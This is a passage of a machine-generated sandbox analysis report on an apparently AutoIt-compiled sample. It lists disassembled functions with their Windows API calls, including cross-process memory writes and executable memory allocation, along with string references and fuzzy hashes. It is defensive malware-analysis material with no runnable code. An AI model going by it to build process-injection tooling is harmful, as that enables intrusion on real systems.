Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: dc8446524969845ab124699641b56097dc22ab1af1684e71e12a5d2ec103513d
Instruction ID: af32b7d8f3d41fff5366c446fde8a7a2393b1b20904257d95f13432d49aa19e2
Opcode Fuzzy Hash: dc8446524969845ab124699641b56097dc22ab1af1684e71e12a5d2ec103513d
Instruction Fuzzy Hash: 66A169756043059FCB10DF15C494D6ABBE5FF8A324F048959F89A9B3A2CB31EC46CBA1

Function 00D6501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D650AD

Part of subcall function 00D700F0: __87except.LIBCMT ref: 00D7012B

Strings

pow, xrefs: 00D65085, 00D650A2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: c17eed7e9cef92dd042a3bcfedc24a527c07ddda8a7544c5eaec0ae399eb8daa
Instruction ID: a567aaa837a4b4ae090923cfa50341d79f01d112bb9cb2c6a56c91726d2dbd47
Opcode Fuzzy Hash: c17eed7e9cef92dd042a3bcfedc24a527c07ddda8a7544c5eaec0ae399eb8daa
Instruction Fuzzy Hash: A3515921918702D7DB116728D80136E3F94DB41700F68C999E8D9C62EEFF38C9D49AB6

Function 00D56192 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D56248
_memmove.LIBCMT ref: 00D562E4
_memset.LIBCMT ref: 00D56308

Strings

ERCP, xrefs: 00D561B3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 9831a8977eacaae607b6ba541cf828328971fc06577aa5e586c980c621e7cf26
Instruction ID: c660220350d45800b3651a01e05f27fe5424f64d4e83464ed66827de6e4417fe
Opcode Fuzzy Hash: 9831a8977eacaae607b6ba541cf828328971fc06577aa5e586c980c621e7cf26
Instruction Fuzzy Hash: CC518D70900709DBDF24CF65C8417AABBE4EF04315F68856AED4AC7250E770EA48CB60

Function 00D997F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA14BC: WriteProcessMemory.KERNEL32 ref: 00DA14E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00D9983F

Part of subcall function 00DA1487: ReadProcessMemory.KERNEL32 ref: 00DA14B1

Part of subcall function 00DA13DE: GetWindowThreadProcessId.USER32(?,?), ref: 00DA1409
Part of subcall function 00DA13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00D9925A,00000034,?,?,00001004,00000000,00000000), ref: 00DA1419
Part of subcall function 00DA13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00D9925A,00000034,?,?,00001004,00000000,00000000), ref: 00DA142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D998AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D998F9

Strings

@, xrefs: 00D99911

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 1bc186675adcaf55cdbcfe7c696c184d884d5dd99ea94b30d8e13f4e3c75bb10
Instruction ID: c59548cfff72188e16e60aea33bca3a31e5868ad2c2a4183cbc4c909095c58f4
Opcode Fuzzy Hash: 1bc186675adcaf55cdbcfe7c696c184d884d5dd99ea94b30d8e13f4e3c75bb10
Instruction Fuzzy Hash: 4D412D76900219BEDF10DFA8CC91ADEBBB8EB09300F044199FA55B7191DA716E45CBB0

Function 00DC7946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00DC79DF
GetWindowLongW.USER32 ref: 00DC79FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00DC7A0C

Strings

SysTreeView32, xrefs: 00DC79B1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 2d89635d4d073ca2b3c4ee6181f82134ed55c14306310fdadfcc7342a4027382
Instruction ID: cb6af718981a759db8bebb608099a263b5995533adf68cda0497bcc1ddd94e0d
Opcode Fuzzy Hash: 2d89635d4d073ca2b3c4ee6181f82134ed55c14306310fdadfcc7342a4027382
Instruction Fuzzy Hash: 62317E31204606ABDB119F34CC45FEA77A9EB45324F244729F979E32E0DB31E9519B70

Function 00DC73D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00DC7461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00DC7475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00DC7499

Strings

SysMonthCal32, xrefs: 00DC742C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 4cded8e7c70de46260cb8908aa5a3dbf2ddd51417db747b52d98cb0c2b38dc3b
Instruction ID: 655f81ad24bfc566a2383d4505cd8a39428df5ba1cf52aa05fe60f8b98f8f14c
Opcode Fuzzy Hash: 4cded8e7c70de46260cb8908aa5a3dbf2ddd51417db747b52d98cb0c2b38dc3b
Instruction Fuzzy Hash: E221B13250421AAFDF158F64CC42FEA3B69EB48724F150218FE156B190DA75AC95DBB0

Function 00DC7B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00DC7C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00DC7C58
DestroyWindow.USER32 ref: 00DC7C5F

Strings

msctls_updown32, xrefs: 00DC7BC4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: cd8668fb5f2f54b3fbedfc6c6e0064c9b9352c07d49345cb7f5451bd9917c73a
Instruction ID: 89cc5d1b8db31734759c0bd0e7f92d3f1c5a8ed10f2bc0cb4a151cff6a29c037
Opcode Fuzzy Hash: cd8668fb5f2f54b3fbedfc6c6e0064c9b9352c07d49345cb7f5451bd9917c73a
Instruction Fuzzy Hash: 9C217CB560420AAFDB10DF64DCC1EA737EDEB59364B144459FA059B3A1CB32EC518E70

Function 00DC6CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00DC6D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00DC6D4B
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00DC6D70

Strings

Listbox, xrefs: 00DC6D08

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 36aa85b8da6c059439896c44032ae41cc63d84a708e67b42a2136dce1eb3aa62
Instruction ID: 318f036386579fa20d2117ffe9ba526e2ccb547967d8925af85907360ee93fae
Opcode Fuzzy Hash: 36aa85b8da6c059439896c44032ae41cc63d84a708e67b42a2136dce1eb3aa62
Instruction Fuzzy Hash: 2F218E32610119BFEF118F54CC85FAB3BAAEF89760F058129FA459B1A0CA71DC519BB0

Function 00DC770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00DC7772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00DC7787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00DC7794

Strings

msctls_trackbar32, xrefs: 00DC7749

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 24b79f1d1c77923fa6c47d9e732d69f451e1c15a79541d76739b593aef236789
Instruction ID: 8d7716425162dc5a9ee75b089e42910a8a09beff330d6cb40e139bc3f18cb5b2
Opcode Fuzzy Hash: 24b79f1d1c77923fa6c47d9e732d69f451e1c15a79541d76739b593aef236789
Instruction Fuzzy Hash: FE11E27264020ABAEB105F61CC01FE77B69EB88B64F11411CF641A20D0C272E8518B30

Function 00D44C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00D44C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection,?,00E052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D44C23

Strings

Wow64DisableWow64FsRedirection, xrefs: 00D44C1D
kernel32.dll, xrefs: 00D44C0C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: c2e8e2c60a73c894bb20448d50067089a1ffd29f1f8624ed30d09d88dfb66e14
Instruction ID: dd6c1dd9f8d251b2fa6c713124a944824e7673d9d97c1234bd5f21a4acbb6da9
Opcode Fuzzy Hash: c2e8e2c60a73c894bb20448d50067089a1ffd29f1f8624ed30d09d88dfb66e14
Instruction Fuzzy Hash: 11D0EC35911713CFD7205F71D948A46BAD6AF09351B1DC8399486D6250E6B0D8848670

Function 00D44C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00D44C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D44C56

Strings

kernel32.dll, xrefs: 00D44C3F
Wow64RevertWow64FsRedirection, xrefs: 00D44C50

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 0134ab064abdf8e9703ebc20f4e22b27fef5de2d25d964b5fb74118ed45a9fdb
Instruction ID: 5c2aa1a541b8a7330b77aa72ffbb01e5f31273470daadb099a89765e954ebce8
Opcode Fuzzy Hash: 0134ab064abdf8e9703ebc20f4e22b27fef5de2d25d964b5fb74118ed45a9fdb
Instruction Fuzzy Hash: FAD01731510723CFD7209F31D948B9AB6E6AF05351B29C83E9596D6264E770D8C4CA70

Function 00DC0DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00DC0DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00DC0E07

Strings

advapi32.dll, xrefs: 00DC0DF0
RegDeleteKeyExW, xrefs: 00DC0E01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 93e5d6bcdfc97cf74fd86ff6213c2b4423394929dd604ec59baead663e07d35e
Instruction ID: 67c56790f341257c127a47ac1b2c39be503d7cc4a5665f6e515c907cbe893385
Opcode Fuzzy Hash: 93e5d6bcdfc97cf74fd86ff6213c2b4423394929dd604ec59baead663e07d35e
Instruction Fuzzy Hash: 88D01271950717CFD7205F75C808B96B6D9AF04351F19CC3DA585D6251D6B0D490C670

Function 00DB90E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00DB90EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW,?,00DCF910), ref: 00DB9100

Strings

GetModuleHandleExW, xrefs: 00DB90FA
kernel32.dll, xrefs: 00DB90E9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9551c2c44b54e5f328f6ff3d3057b09fd597bf65e35b84e0f2466c220b899fcb
Instruction ID: 6c4166831c44a32be133e5895493f2e1a932430a173966b72eeb9bf52adb696f
Opcode Fuzzy Hash: 9551c2c44b54e5f328f6ff3d3057b09fd597bf65e35b84e0f2466c220b899fcb
Instruction Fuzzy Hash: 21D01235510713CFD7209F35D818A86B6D6AF05391B1AC83D9586D6650E770C880D670

Function 00D81714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00D81718
__swprintf.LIBCMT ref: 00D81749

Strings

%.3d, xrefs: 00D81723
WIN_XPe, xrefs: 00D81788

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 4b9ccd58903ca74a2d719f417b960e9191e370f18f9f6753d14a896bea150d22
Instruction ID: 9b31c22a43f37c3e8452740a16b05155259434aa7cfae80e0aa782190e310916
Opcode Fuzzy Hash: 4b9ccd58903ca74a2d719f417b960e9191e370f18f9f6753d14a896bea150d22
Instruction Fuzzy Hash: 90D012B5805219EBC700A7909C88CF9737CA718301F140566B546D2050E261C759D735

Function 00D9717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d918bd8a6a90871f8eac9e91b6786cffbcb97bfc62810bad854617ad1562e29d
Instruction ID: e7083e2a7f4081afa9576c322b8a60ca6537fcd1d240db01b4945225f563476f
Opcode Fuzzy Hash: d918bd8a6a90871f8eac9e91b6786cffbcb97bfc62810bad854617ad1562e29d
Instruction Fuzzy Hash: 1FC16E74A14216EFCF14CFA8C884EAEBBB5FF48714B158598E805EB251D730ED81DBA0

Function 00DBE02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00DBE0BE
CharLowerBuffW.USER32(?,?), ref: 00DBE101

Part of subcall function 00DBD7A5: CharLowerBuffW.USER32(?,?), ref: 00DBD7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00DBE301
_memmove.LIBCMT ref: 00DBE314

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: bedfadb4d56fbe89e17b22867a9377582d17b02bdea6a4ea4ca07f6befa63e8d
Instruction ID: c11e1e36e58d32113e62c908bb60b3b9bd65e269652f5092f50ada7f6baeaa30
Opcode Fuzzy Hash: bedfadb4d56fbe89e17b22867a9377582d17b02bdea6a4ea4ca07f6befa63e8d
Instruction Fuzzy Hash: BAC11671604301DFC714DF28C4809AABBE4FF89754F14896EF89A9B351D731E946CBA1

Function 00DB8093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00DB80C3
CoUninitialize.OLE32 ref: 00DB80CE

Part of subcall function 00D9D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?), ref: 00D9D5D4

VariantInit.OLEAUT32(?), ref: 00DB80D9
VariantClear.OLEAUT32(?), ref: 00DB83AA

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 9987928e265e3a1032905a1753c4555044ca3030b404100990c921359ce15284
Instruction ID: 5b00db382b9c667c9756d250de1413bf8c0e57cbdf2b6d761c64fc5f7e58d1f3
Opcode Fuzzy Hash: 9987928e265e3a1032905a1753c4555044ca3030b404100990c921359ce15284
Instruction Fuzzy Hash: C8A15875604701DFCB10DF69C891A6AB7E8FF89364F084458F9969B3A1CB30EC05DBA6

Function 00D97530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000), ref: 00D976EA
CoTaskMemFree.OLE32(00000000), ref: 00D97702
CLSIDFromProgID.OLE32(?,?), ref: 00D97727
_memcmp.LIBCMT ref: 00D97748

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: bc66d8f1f661e604b568a368efa1ace5469dc472b4533fac5b92aa1a51440ccb
Instruction ID: 1cf9dd38df197d6046a2de7ee142bd6bb6bb06be73ef4e69b412838301ed48ff
Opcode Fuzzy Hash: bc66d8f1f661e604b568a368efa1ace5469dc472b4533fac5b92aa1a51440ccb
Instruction Fuzzy Hash: 8581EA75A10109EFCF04DFA4C984EEEB7B9FF89315F244558E505AB250DB71AE06CB60

Function 00D9687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D9688E
SysAllocString.OLEAUT32(00000000), ref: 00D96937
VariantCopy.OLEAUT32 ref: 00D96966
VariantClear.OLEAUT32(?), ref: 00D9698D

Memory Dump Source

